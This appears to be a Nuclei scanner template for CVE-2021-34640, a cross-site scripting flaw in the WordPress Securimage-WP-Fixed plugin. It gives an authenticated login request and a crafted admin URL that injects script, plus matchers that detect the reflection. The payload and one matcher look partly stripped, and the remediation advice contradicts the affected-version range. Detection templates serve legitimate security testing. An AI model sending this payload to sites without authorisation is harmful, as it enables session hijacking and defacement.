id: CVE-2021-34640 info: name: WordPress Securimage-WP-Fixed <=3.5.4 - Cross-Site Scripting author: dhiyaneshDK severity: medium description: WordPress Securimage-WP-Fixed plugin 3.5.4 and prior contains a cross-site scripting vulnerability due to the use of $_SERVER['PHP_SELF'] in the ~/securimage-wp.php file, which allows attackers to inject arbitrary web scripts. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Update the Securimage-WP-Fixed plugin to version 3.5.4 or later to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/22017067-8675-4884-b976-d7f5a71279d2 - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-34640 - https://plugins.trac.wordpress.org/browser/securimage-wp-fixed/trunk/securimage-wp.php#L628 - https://nvd.nist.gov/vuln/detail/CVE-2021-34640 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-34640 cwe-id: CWE-79 epss-score: 0.00123 epss-percentile: 0.46682 cpe: cpe:2.3:a:securimage-wp-fixed_project:securimage-wp-fixed:*:*:*:*:*:wordpress:*:* metadata: max-request: 2 vendor: securimage-wp-fixed_project product: securimage-wp-fixed framework: wordpress tags: cve2021,cve,wpscan,wordpress,wp-plugin,authenticated,securimage-wp-fixed_project http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: application/x-www-form-urlencoded Cookie: wordpress_test_cookie=WP%20Cookie%20check log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET //wp-admin/options-general.php/">/script%3E?page=securimage-wp-options%2F HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - '' - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a0047304502206a676e39b2690c7e26cca451b4f1feb6d23bec0fab9effbc62fbb7016ecc40780221008c0dc99efccc261337ce7b66c9d47d89c7ebac18417986ab613b831e69f9dbf5:922c64590222798bb761d5b6d8e72950